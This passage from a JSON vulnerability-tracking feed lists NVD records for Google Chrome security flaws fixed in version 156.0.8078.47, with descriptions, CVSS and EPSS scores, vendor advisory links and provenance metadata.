exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113249","cveId":"CVE-2026-113249","aliases":[],"kind":"vulnerability","title":"Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Mobile in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.467Z","updatedAt":"2026-10-22T12:08:11.827Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113249","asOf":"2026-10-22T12:08:11.827Z"},"epss":{"probability":0.00453,"percentile":0.39052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113249","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113249","type":"primary","publishedAt":"2026-10-20T22:19:18.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113248","cveId":"CVE-2026-113248","aliases":[],"kind":"vulnerability","title":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.360Z","updatedAt":"2026-10-22T12:08:26.770Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113248","asOf":"2026-10-22T12:08:26.770Z"},"epss":{"probability":0.00443,"percentile":0.38238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113248&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113248","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113248","type":"primary","publishedAt":"2026-10-20T22:19:18.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113248&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113248, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113247","cveId":"CVE-2026-113247","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.247Z","updatedAt":"2026-10-22T12:08:40.017Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113247","asOf":"2026-10-22T12:08:40.017Z"},"epss":{"probability":0.00443,"percentile":0.38237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113247&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113247","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113247","type":"primary","publishedAt":"2026-10-20T22:19:18.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113247&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113247, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113245","cveId":"CVE-2026-113245","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:18.030Z","updatedAt":"2026-10-22T12:09:05.030Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113245","asOf":"2026-10-22T12:09:05.030Z"},"epss":{"probability":0.00443,"percentile":0.3824,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113245","type":"primary","publishedAt":"2026-10-20T22:19:18.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113245, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113244","cveId":"CVE-2026-113244","aliases":[],"kind":"vulnerability","title":"Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in UI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.920Z","updatedAt":"2026-10-22T13:58:13.180Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113244","asOf":"2026-10-22T13:58:13.180Z"},"epss":{"probability":0.00452,"percentile":0.39026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113244&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113244","type":"primary","publishedAt":"2026-10-20T22:19:17.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113244&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113244, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113243","cveId":"CVE-2026-113243","aliases":[],"kind":"vulnerability","title":"Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in DOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.807Z","updatedAt":"2026-10-22T14:00:03.550Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113243","asOf":"2026-10-22T14:00:03.550Z"},"epss":{"probability":0.00453,"percentile":0.39052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113243","type":"primary","publishedAt":"2026-10-20T22:19:17.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113242","cveId":"CVE-2026-113242","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.693Z","updatedAt":"2026-10-22T14:03:10.990Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113242","asOf":"2026-10-22T14:03:10.990Z"},"epss":{"probability":0.00443,"percentile":0.38237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113242","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113242","type":"primary","publishedAt":"2026-10-20T22:19:17.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113241","cveId":"CVE-2026-113241","aliases":[],"kind":"vulnerability","title":"Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.580Z","updatedAt":"2026-10-22T14:03:18.240Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113241","asOf":"2026-10-22T14:03:18.240Z"},"epss":{"probability":0.00426,"percentile":0.36569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113241&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113241","type":"primary","publishedAt":"2026-10-20T22:19:17.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113241&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113241, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113240","cveId":"CVE-2026-113240","aliases":[],"kind":"vulnerability","title":"Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.467Z","updatedAt":"2026-10-22T14:03:26.427Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113240","asOf":"2026-10-22T14:03:26.427Z"},"epss":{"probability":0.00443,"percentile":0.38238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113240&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113240","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113240","type":"primary","publishedAt":"2026-10-20T22:19:17.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113240&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113240, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113239","cveId":"CVE-2026-113239","aliases":[],"kind":"vulnerability","title":"Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.343Z","updatedAt":"2026-10-22T14:03:37.293Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113239","asOf":"2026-10-22T14:03:37.293Z"},"epss":{"probability":0.00455,"percentile":0.39221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113239&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113239","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113239","type":"primary","publishedAt":"2026-10-20T22:19:17.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113239&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113239, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113238","cveId":"CVE-2026-113238","aliases":[],"kind":"vulnerability","title":"Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:17.213Z","updatedAt":"2026-10-22T14:03:42.387Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113238","asOf":"2026-10-22T14:03:42.387Z"},"epss":{"probability":0.00433,"percentile":0.37356,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 